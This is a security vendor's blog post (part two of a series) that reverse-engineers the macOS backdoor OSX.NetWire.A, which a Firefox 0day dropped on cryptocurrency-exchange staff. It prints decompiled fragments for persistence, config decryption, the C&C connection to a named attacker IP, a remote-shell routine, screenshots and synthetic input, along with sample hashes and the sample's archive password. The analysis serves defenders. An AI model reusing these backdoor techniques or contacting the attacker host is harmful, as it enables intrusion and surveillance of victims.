Digita Security

Cybersecurity solutions for the

  • modern
  • mobile
  • independent
  • innovative
  • enterprising

macOS workforce

June 22, 2019

Part II: Burned by Fire(fox)

a firefox 0day drops a macOS backdoor (osx.netwire.a)
by Patrick Wardle

This is Part 2 of a 3 Part series. In Part 1, we identified the malware as OSX.Netwire.A and discussed the infection vectors of the attack. As a recap, Digita’s EDR solution, GamePlan, would’ve been able to leverage its behavioral analytics to detect many undesirable events which OSX.Netwire.A creates while attempting to execute its attack. Though this attack was administered through a FireFox exploit and is effective at bypassing routine countermeasures of the OS, the malware surrenders itself post-Firefox exploit in a number of ways. Using GamePlan as an enterprise solution you can enable your threat intelligence team to detect attacks like OSX.Netwire.A in real-time.

For more info on how you can defend your organization using GamePlan, checkout: “Leveraging Apple’s Game Engine for Advanced Threat Detection

If you would like to see a demo, you can request one on the homepage of our website.

Background

Recently, a Firefox 0day exploit was used to target employees at various crypto-currency exchanges. I personally received an email from a targeted user, which included details of the attack, as well as a copy of the persistent malware the exploit installed on the system.

📝 👾 Want to play along?

I’ve shared the OSX.NetWire.A sample (password: infect3d)

…please don’t infect yourself!

A security researcher at Coinbase, Philip Martin, has also been posting interesting details about the attack.

I’m thankful to both the user who reached out to me, and for the details Philip shared!

As mentioned above, in part one of this blog post series, we discussed the attack and identified the malware as OSX.Netwire.A. Morever, we discussed the malware’s methods of peristence (launch agent and login item):

$ cat ~/Library/LaunchAgents/com.mac.host.plist
{
    KeepAlive = 0;
    Label = "com.mac.host";
    ProgramArguments =     (
        "/Users/user/.defaults/Finder.app/Contents/MacOS/Finder"
    );
    RunAtLoad = 1;
}

As the malware’s launch agent (com.mac.host.plist) has the RunAtLoad is set (to 1), the OS will automatically launch the specified binary, .defaults/Finder.app/Contents/MacOS/Finder each time the user logs in.

The malware’s login item will also ensure the malware is launched when the user logs in. Login items however show up in the UI, clearly detracting from the malware’s stealth:

In today’s blog we’re going to take a technical “deep-dive” into the malicious binary and discuss its:

  • installation logic
  • decryption of its hidden “settings” file
  • decryption of its embedded C&C server address
  • remotely taskable capabilities and features (screenshots, synthetic events, and more!)

Analyzing OSX.NetWire.A

The specimen of OSX.NetWire.A we’re looking at today is named Finder.app:

  • MD5: DE3A8B1E149312DAC5B8584A33C3F3C6
  • SHA1: 23017A55B3D25A2597B7148214FD8FB2372591A5
  • SHA256: 07A4E04EE8B4C8DC0F7507F56DC24DB00537D4637AFEE43DBB9357D4D54F6FF4

We’ll use Hopper to reverse the malware’s binary, and lldb to debug it (in a VM!).

The malware is a standard macOS application, albeit with compatibly for rather ancient versions of OSX! For example it contains only 32-bit code, and according to MachOView and can run on versions of OSX all the way back to OSX 10.5:

We can also note from the MachOView’s output, there aren’t any Objective-C sections (__objc*), meaning the malware was not written in Objective-C. (This is rather rare, and usually indicates the malware author is not a native Mac programmer; perhaps more comfortable coding on Windows of Linux).

The class-dump utility confirms this as well (note it outputs: This file does not contain any Objective-C runtime information.):

$ class-dump Finder.app/Contents/MacOS/Finder 
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

//
// File: Finder.app/Contents/MacOS/Finder
// UUID: 8C8AC65D-8F7C-368A-AD5A-E7FD9D58E63C
//
//                           Arch: i386
//       Minimum Mac OS X version: 10.5.0
//                    SDK version: 10.12.0

//
// This file does not contain any Objective-C runtime information.
//

When analyzing a piece of malware, it’s always a good idea to dump any embedded strings (as this often gives you valuable insight in the functionality and capabilities of the malware). Using the built-in strings utility (with the -a flag) we can extract all printable (ascii) strings from a binary:

$ strings -a Finder.app/Contents/MacOS/Finder

CONNECT %s:%d HTTP/1.0
Host: %s:%d
exit
/bin/sh
/bin/bash

checkip.dyndns.org
GET / HTTP/1.1
Host: checkip.dyndns.org
Current IP Address: 
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>%s</string>
    <key>ProgramArguments</key>
    <array>
        <string>%s</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <%s/>
</dict>
</plist>

%s/Library/LaunchAgents/
%s%s.plist

.settings.conf
hyd7u5jdi8
/tmp/.%s

Clearly some interesting strings, which immediately reveal insight to the malware capabilities (such as networking, persistence, and more!). Unfortunately this doesn’t reveal information such as the path of the malware’s installation directory (a valuable IOC), nor the address of the command & control server. To be fair, this is unsurprising as malware authors often encrypt such information to hinder analysis. To uncover these, we’ll have to dig deeper!

The entry point of the malware can be found in the LC_UNIXTHREAD load command, specifically in the EIP register. Using otool we can dump this command and extract the address (0x0000196c):

$ otool -l Finder.app/Contents/MacOS/Finder 

...

Load command 9
        cmd LC_UNIXTHREAD
    cmdsize 80
     flavor i386_THREAD_STATE
      count i386_THREAD_STATE_COUNT
      eax 0x00000000 ebx    0x00000000 ecx 0x00000000 edx 0x00000000
      edi 0x00000000 esi    0x00000000 ebp 0x00000000 esp 0x00000000
      ss  0x00000000 eflags 0x00000000 eip 0x0000196c cs  0x00000000
      ds  0x00000000 es     0x00000000 fs  0x00000000 gs  0x00000000

Hopping into a disassembler, the code at 0x0000196c contains the standard entry-point logic for the C-runtime:

 1int EntryPoint() {
 2    ebx = *(&stack[-4] + 0x4);
 3    ebx = (ebx + 0x1 << 0x2) + &stack[-4] + 0x8;
 4    do {
 5            eax = *ebx;
 6            ebx = ebx + 0x4;
 7    } while (eax != 0x0);
 8    eax = main();
 9    eax = exit(eax);
10    return eax;
11}

Note the call to the malware’s main function (line 8). We’ll continue analysis there.

The malware main function (0x00006b17) begins by decrypting various embedded data.

int main() {
    ...
    edx = *dword_e700;
    edi = *dword_e6f0;
    esi = edi << 0xb ^ edi;
    edi = *dword_e6fc;
    ebx = *dword_e6f4;
    *dword_e6f4 = edi;
    ecx = eax & edx ^ edi >> 0x13 ^ esi ^ edi ^ esi >> 0x8 ^ *dword_e704;
    *dword_e704 = ecx;
    *dword_e6f0 = *dword_e6f8;
    *dword_e6f8 = edi >> 0x13 ^ esi ^ edi ^ esi >> 0x8;
    *dword_e6fc = (ebx << 0xb ^ ebx) >> 0x8 ^ ebx << 0xb ...) >> 0x13;
    *dword_e700 = (ebx << 0xb ^ ebx) >> 0x8 ^ ebx << 0xb ...) >> 0x13 ^ edx ^ (ecx | eax);
    ecx = 0x1;
    eax = 0x0;
    do {
            ebx = ecx & 0xff;
            *(int8_t *)(esp + ebx + 0x1898) = eax;
            esi = eax;
            *(int8_t *)(esp + eax + 0x5898) = ecx;
            ecx = 0x0;
            do {
                    eax = ebx + ebx;
                    ecx = ecx ^ HIBYTE(HIBYTE(ebx) & -(ebx & 0x1));
                    edx = (HIBYTE(ebx) & -(ebx & 0x1)) >> 0x1;
                    ebx = eax ^ 0x11b;
                    if ((HIBYTE(eax) & 0x1) == 0x0) {
                            ebx = eax;
                    }
            } while (edx != 0x0);
            eax = esi + 0x1;
    } while (eax != 0xff);
}

This encrypted data is found near the start of the __data section (address 0x0000D2F0 on disk, 0x0000E2F0 in memory):

Generally speaking, it’s easiest to set a breakpoint (in a debugger) after the decryption logic and then simply dump the decrypted data. This is trivial to do in lldb. (We choose to set a breakpoint on address 0x00007658, which follows the decryption logic)

$ lldb Finder.app

(lldb) process launch --stop-at-entry
(lldb) b 0x00007658
Breakpoint 1: where = Finder`Finder[0x00007658], address = 0x00007658


(lldb) c
Process 1130 resuming
Process 1130 stopped (stop reason = breakpoint 1.1)

(lldb) x/100xs 0x0000e2f0 --force
0x0000e2f0: ""
...
0x0000e2f8: "89.34.111.113:443;"
0x0000e4f8: "Password"
0x0000e52a: "HostId-%Rand%"
0x0000e53b: "Default Group"
0x0000e549: "NC"
0x0000e54c: "-"
0x0000e555: "%home%/.defaults/Finder"
0x0000e5d6: "com.mac.host"
0x0000e607: "{0Q44F73L-1XD5-6N1H-53K4-I28DQ30QB8Q1}"
...

Clearly some interesting (now decrypted!) strings including what appear to be:

  • command and control server: 89.34.111.113 (port: 443)
  • format string for uniquely identifying the host: HostId-%Rand%
  • format string for the malware’s installation location: %home%/.defaults/Finder
  • name of the malware’s launch agent: com.mac.host

Continuing onwards, the malware persistently installs itself by copying its application bundle to the ~/.defaults/Finder.app directory. This is accomplished by the function at address 0x000034de, which first opens (via open$UNIX2003) a file handle to the malware’s own binary image:

(lldb) c
Process stopped

->  0x3501: calll  0xc930  ; symbol stub for: open$UNIX2003

(lldb) x/x $esp
0xbfff8190: 0xbfff95f0
(lldb) x/s 0xbfff95f0
0xbfff95f0: "/Users/user/Desktop/Wirenet (NetWeirdRC)/A/Finder.app/Contents/MacOS/Finder"

...

…and then copies itself to the ~/.defaults/ directory via a read$UNIX2003 / write$UNIX2003 loop:

loc_3568:
    do {
            if (ebx != 0x0) {
                    memset(ebp, 0x0, ebx);
                    esp = (esp - 0x10) + 0x10;
            }
            esp = (esp - 0x10) + 0x10;
            esi = read$UNIX2003(edi, ebp, ebx);
            if (esi <= 0x0) {
                break;
            }
            esp = (esp - 0x10) + 0x10;
    } while (write$UNIX2003(var_20, ebp, esi) == esi);

Copying a file in this manner (i.e. a read/write loop) is a rather traditional C/linux approach.

Using Cocoa APIs, this entire function could have been replaced with a single line of code: [[NSFileManager defaultManager] copyItemAtPath:source toPath:destination error:nil];

To passively observe the malware installing itself we can use macOS’s built-in file monitor utility: fs_usage:

# fs_usage -w -f filesystem | grep Finder

mkdir /Users/user/.defaults  Finder.7868
mkdir /Users/user/.defaults/Finder.app/ Finder.7868
mkdir /Users/user/.defaults/Finder.app/Contents Finder.7868
mkdir /Users/user/.defaults/Finder.app/Contents/MacOS Finder.7868

WrData[A] /Users/user/.defaults/Finder.app/Contents/Info.plist Finder.7868
WrData[A] /Users/user/.defaults/Finder.app/Contents/MacOS/Finder Finder.7868
chmod  <rwxrwxrwx>  /Users/user/.defaults/Finder.app/Contents/MacOS/Finder Finder.7868

After installing itself the malware spawns this installed copy (~/.defaults/Finder.app/Contents/MacOS/Finder), then exits.

We can observe the launch of the installed copy via our open-source ProcInfo utility:

# procInfo
process monitor enabled...

process start:
pid: 865
path: /Users/user/.defaults/Finder.app/Contents/MacOS/Finder

The installed copy of the malware first persists itself. As we noted early in the post, and in part one, persistence is achieved as a launch agent (~/Library/LaunchAgents/com.mac.host.plist) and a login item.

The code for persisting the malware as a launch agent can be found at 0x000079f3:

memcpy(esi, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\n\t\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n    <key>Label</key>\n    <string>%s</string>\n    <key>ProgramArguments</key>…", 0x190);

eax = getenv("HOME");

eax = __snprintf_chk(&decodeBuffer, 0x400, 0x0, 0x400, "%s/Library/LaunchAgents/", eax);
            
if (mkdir_forAgent() != 0x0) {
  eax = __snprintf_chk(edi, 0x400, 0x0, 0x400, "%s%s.plist", &decodeBuffer, 0xe5d6);
  eax = asprintf(&var_688C, esi);
                    
  edi = open$UNIX2003(edi, 0x601);
  if (edi >= 0x0) {
        write$UNIX2003(edi, var_688C, ebx);
        esp = (esp - 0x10) + 0x10;
        closeDynamically();
  }

In short, it configures then writes out an embedded plist to ~/Library/LaunchAgents/com.mac.host.plist. Recall the name of the plist, com.mac.host.plist was decrypted when the malware was launched.

The code for persisting as a login item immediately follows. It utilizes the LSSharedFileListCreate and LSSharedFileListInsertItemURL APIs to add the malware to the user’s list of login items:

eax = __snprintf_chk(&decodeBuffer, 0x400, 0x0, 0x400, "%s%s.app", &var_748C, &var_788C);
eax = CFURLCreateFromFileSystemRepresentation(0x0, &decodeBuffer, eax, 0x1);
if (eax != 0x0) {
  eax = LSSharedFileListCreate(0x0, **_kLSSharedFileListSessionLoginItems, 0x0);
  if (eax != 0x0) {
      eax = LSSharedFileListInsertItemURL(eax, **_kLSSharedFileListItemLast, 0x0, 0x0, edi, 0x0, 0x0);
  } 
}

Once the installed malware has persisted itself (in two different ways), it parses (or creates, if not present), the .settings.conf. This file contains 0x7F bytes of encrypted data, that’s save’d into the malware’s application bundle:

$ hexdump -C ~/.defaults/Finder.app/Contents/MacOS/.settings.conf 
00000000  4d b8 e4 95 77 1e a5 8a  25 a9 f8 9b af 73 30 e4  |M...w...%....s0.|
00000010  6e 6f 1d d8 da e9 36 a9  f2 76 ab 25 db e7 65 79  |no....6..v.%..ey|
00000020  95 0d 01 c9 fe 3e 2b 5d  51 c8 05 d5 0d 5d 66 14  |.....>+]Q....]f.|
00000030  fb 59 56 bd ed 74 ea 2b  fe 31 35 c0 54 70 65 f2  |.YV..t.+.15.Tpe.|
00000040  16 16 10 8b cb 87 93 99  6b 4a cb 91 19 f0 7b f3  |........kJ....{.|
00000050  e3 32 2b ad 11 d8 70 3c  01 aa 1d c8 89 2b b8 0c  |.2+...p<.....+..|
00000060  09 0e 62 ca 9a b8 5e 30  ad 65 82 b0 57 65 a1 a6  |..b...^0.e..We..|
00000070  89 d6 b2 d6 a8 d8 03 fd  23 8e 1e 4b 09 59 b6     |........#..K.Y.|
0000007f

…. but again, we can simply use a debugger to decrypt! We just have to find where to set a breakpoint, after the data has been decrypted.

At 0x00007dbf the malware invokes the open$UNIX2003 API to open the .settings.conf file and then at 0x00007e82, reads in the entire contents (size: 0x7f). Two decryption functions are invoked: sub_9487 and sub_950.

Here’s a snippet from the sub_950 function:

do {
  edx = edx + 0x1 & 0xff;
  eax = *(int8_t *)(esp + edx + 0x8) & 0xff;
  ebx = ebx + eax & 0xff;
  ecx = *(int8_t *)(esp + ebx + 0x8);
  *(int8_t *)(esp + edx + 0x8) = ecx;
  *(int8_t *)(esp + ebx + 0x8) = eax;
  *(int8_t *)edi = *(int8_t *)edi ^ *(int8_t *)(esp + (ecx + eax & 0xff) + 0x8);
  edi = edi + 0x1;
  esi = esi - 0x1;
} while (esi != 0x0);

In reality though, we don’t really care how the data is decrypted. We can simply set a breakpoint after the call to the 2nd decryption function, and dump the (now) decrypted data:

$ lldb Finder.app

...

(lldb) c
Process stopped (stop reason = breakpoint 1.1)
    frame #0: 0x00007ec0 Finder
->  0x7ec0: addl   $0x10, %esp


(lldb) x/0x7fx 0x0002eb8c
0x0002eb8c: 0x48 0x6f 0x73 0x74 0x49 0x64 0x2d 0x65
0x0002eb94: 0x79 0x6d 0x38 0x49 0x67 0x00 0x00 0x00
0x0002eb9c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002eba4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebac: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebb4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebbc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebc4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebcc: 0x44 0x65 0x66 0x61 0x75 0x6c 0x74 0x20
0x0002ebd4: 0x47 0x72 0x6f 0x75 0x70 0x00 0x00 0x00
0x0002ebdc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebe4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x32
0x0002ebec: 0x30 0x31 0x39 0x2f 0x30 0x36 0x2f 0x32
0x0002ebf4: 0x32 0x20 0x30 0x36 0x3a 0x32 0x33 0x3a
0x0002ebfc: 0x32 0x35 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ec04: 0x00 0x00 0x00 0x00 0x00 0x00 0x00

(lldb) x/100s 0x0002eb8c
0x0002eb8c: "HostId-eym8Ig"

0x0002ebcc: "Default Group"

0x0002ebeb: "2019/06/22 06:23:25"

Lovely! We now can see exactly what’s stored in the malware’s encrypted .settings.conf file:

  • the infected host’s unique ID
  • the infected host’s group (groups allow an attacker organize hosts, perhaps based on companies, etc.)
  • what appears to be a “time of infection” timestamp (that is generated when the malware first runs).

Next the malware connects to its command & control server for tasking. Recall we previously uncoverd what appeared to be the decrypted IP address and port of this server: "89.34.111.113:443;" (found at address: 0x0000e2f8).

At 0x1f30 the malware invokes the gethostbyname API. By setting a breakpoint on this call we can confirm that 89.34.111.113 is indeed the c&c address:

$ lldb Finder.app

(lldb) b gethostbyname
Breakpoint 1: where = libsystem_info.dylib`gethostbyname

(lldb) c
Process stopped (stop reason = breakpoint 1.1)
    frame #0: 0xa7bd3540 libsystem_info.dylib`gethostbyname
->  0xa7bd3540 <+0>: pushl  %ebp

(lldb) x/wx $esp+4
0xbfff79c0: 0x00112240

(lldb) x/s 0x00112240
0x00112240: "89.34.111.113"


The gethostbyname function takes a single argument; a string representing a hostname or ip address.

As such, when the breakpoint hit, we can print this string by examining the pointer at at $esp+4 (i.e the first argument).

A connection to the server, 89.34.111.113 is then attempted, on port 443:

int 0x00009a78 {
    ...
    edi = socket(0x2, 0x1, 0x6);
    esi = 0xffffffff;
    if (edi != 0xffffffff) {
      esp = (esp - 0x10) + 0x10;
      connect$UNIX2003(edi, ebx, 0x10);
      ...

}

A firewall, such as LuLu, can generically detect this connection attempt:

Unfortunately (for our analysis efforts), this connection (now) fails, as apparently the malware’s c&c server is offline:

$ lsof -i TCP
COMMAND PID USER  TYPE  NODE NAME
Finder  843 user  IPv4  TCP 192.168.0.128:49259->89.34.111.113:https (CLOSED)

Attempting to manually connect to the c&c server also fails:

$ curl 89.34.111.113:443
curl: (7) Failed to connect to 89.34.111.113 port 443: Connection refused

Not to worry, via static code analysis, we can uncover the code and logic within the malware that responds to tasking from the c&c server. This in turn allows to ascertain the malware’s capabilities that a remote attacker can invoke.

At address 0x000021cb the malware invokes a function that invokes the receive API (recv$UNIX2003). Assuming (valid) tasking data is received, a function at 0x00004109 is then called to act on said tasking.

Before this function is invoked, the first byte of data (received from the c&c server), is moved into the dl register:

mov        dl, byte [esp+ecx+0x78ac+dataFromServer] 

In the 0x00004109, this (same) byte is used as an index in a switch table:

0x00004125         dec        dl
0x00004127         cmp        dl, 0x42
0x0000412a         ja         loc_6a10

...

0x00004145         movzx      eax, dl
0x00004148         jmp        dword [switch_table_d1b0+eax*4] 

This is a fairly common “protocol pattern” in malware, where the first byte received instructs the malware has task or action to perform. In other words it’s the “command” to execute.

To uncover the remotely taskable capabilities of the malware, let’s see what functions are referenced in the switch table (0x0000d1b0).

Due to time constraints, we won’t comprehensively discuss all the malware’s (remote) capabilties.

However, we’ll highlight some basics, and some more intriguing ones.

Most fully-featured backdoors (or implants) have logic to perform a survey of an infected host. OSX.NetWire.A is no different. Via “command” 0x23 (35d) the malware gathers various information about the system on which is finds itself running. This includes:

  • user information (via geteuid, getpwuid, and %USER%)
  • host information (via gethostname)
  • cpu information (via machdep.cpu.brand_string/sysctlnametomib)
  • system version information (via CFCopySystemVersionDictionary)
  • malware’s binary image (via getpid / proc_pidpath)
  • environement variables (such as %HOME% via getenv)
  • system architecture (via uname)
  • malware’s pid (via getpid)
  • system time information (via localtime)

This survey information is encoded (encrypted?) and formatted into the following (rather massive) format string:

eax = asprintf(&var_1024, "%s\x07%d\x07%s\x07%s\x07%s\x07%llu\x07%llu\x07%llu\x07%c\x07%s\x07%s\x07%s\x07%s\
x07%d\x07%s\x07%d\x07%s\x07%d\x07%d\x07%s\x07%d\x07%s\x07%d\x07%s\x07%d\x07", &var_284C, var_3484, &var_1224, &var_1424, &var_304C, var_3494, 0x0, var_34A0, var_3498, var_348C, var_3490, ebx, &var_344C, &var_244C, &var_346C, &var_1444, 0x20, 0xe2f8, edi, 0xe3f8, esi, var_3488, 0xe4f8, ebp, &var_2C4C); 

…this is then sent back to the malware’s c&c server.

As expected the malware can also be remotely tasked to perform various file actions such as rename, make directory, delete etc.

For example “commamd” 0x1A (26d) will rename a file:

0x00004f37         push       ebx 
0x00004f38         push       edi
0x00004f39         call       imp___symbol_stub__rename

…while “command” 0x1B (27d) will delete a file via the unlink API:

0x00004f5e         sub        esp, 0xc                                          
0x00004f61         push       esi
0x00004f62         mov        edi, ecx
0x00004f64         call       imp___symbol_stub__unlink

Other commands appear to be related to the reading, writing, and creating of files:

; case 0x23,
0x0000514e         sub        esp, 0x4
0x00005151         push       ebp
0x00005152         push       esi
0x00005153         push       dword [dword_eb68]
0x00005159         call       imp___symbol_stub__write$UNIX2003 

OSX.Netwire.A also can be remotely tasked to interact with proceses(s), for example listing them (“command” 0x42, 66d):

; case 0x42,
...
push       esi
push       edi
push       0x0
push       0x1
call       imp___symbol_stub__proc_listpids

…or killing them (“command” 0x2C, 44d):

; case 0x2C,
...
0x000056fa         push       0x9
0x000056fc         push       eax
0x000056fd         call       imp___symbol_stub__kill$UNIX2003

Via “command” 0x19 (25d) the malware will invoke a helper method, 0x0000344c which will fork then execv a process:

1eax = fork();
2if (((eax == 0xffffffff ? 0x1 : 0x0) != (eax <= 0x0 ? 0x1 : 0x0)) && (eax == 0x0)) {
3        execv(esi, &var_18);
4        eax = exit(0x0);
5}

When the malware receives “command” 0x22 (34d), it invokes a helper function (0x00002652) to execute a shell commands via either /bin/sh or /bin/bash/:

 1if (stat("/bin/sh", edi) != 0x0) {
 2  ebp = "/bin/bash";
 3}
 4else {
 5  ebp = "/bin/bash";
 6  if ((var_109C & 0xffff & 0xf000) == 0x8000) {
 7          ebp = "/bin/sh";
 8  }
 9}
10
11ebx = posix_openpt(0x2);
12
13dup(var_10B0);
14dup(var_10B0);
15dup(var_10B0);
16
17setsid();
18ioctl(0x0, 0x20007461);
19...
20execvp(ebp, &var_A4);
21
22}

With the ability to execute arbitrary commands the malware is essentially infinitely extensively and gives a remote attacker full control over the infected system.

The malware can also interact with the UI, for example to capture a screen shot. When the malware receives “command” 0x37 (55d), it invokes the CGMainDisplayID and CGDisplayCreateImage to create an image of the user’s desktop:

0x0000622c         movss      dword [esp+0x34ac+var_101C], xmm0
0x00006235         call       imp___symbol_stub__CGMainDisplayID
0x0000623a         sub        esp, 0xc
0x0000623d         push       eax
0x0000623e         call       imp___symbol_stub__CGDisplayCreateImage

Interestingly it also appears that OSX.Netwire.A mayb be remotely tasked to generate synthetic keyboard and mouse events. Neat!

Specifically synthetic keyboard events are created and posted when “command” 0x34 (52d) is recieved from the c&c server. To create and post the event, the malware invokes the CGEventCreateKeyboardEvent and CGEventPost APIs.

Synthetic mouse events (i.e. clicks, moves, etc) are generated in response to “command” 0x35 (53d):

1void sub_9a29() {
2    edi = CGEventCreateMouseEvent(0x0, edx, ...);
3    CGEventSetType(edi, edx);
4    CGEventPost(0x0, edi);
5    return;
6}

Finally, via “command” 0x7 it appears that the malware can be remotely instructed to uninstall itself. Note the calls to unlink to remove the launch agent plist and the malware’s binary image, and the call to LSSharedFileListItemRemove to remove the login item:

 1__snprintf_chk(&var_284C, 0x400, 0x0, 0x400, 
 2              "%s/Library/LaunchAgents/%s.plist", getenv("HOME"), 0xe5d6);
 3eax = unlink(&var_284C);
 4
 5if (getPath() != 0x0) {
 6  unlink(esi);
 7}
 8
 9LSSharedFileListItemRemove(var_34A4, esi);
10
11...

Conclusion

Via a Firefox 0day, attackers targeted employees of various cryptocurrency exchange(s) in order to persistently deploy a macOS binary (OSX.NetWire.A).

In today’s post, we tore apart the malware to reveal (for the first time!), its inner workings and complex capabilities.

Specifically we illustrated how to recover the encrypted address of the command & control server, how to decrypt the malware’s hidden .settings.conf file, and most importantly detailed the many capabilities of this threat!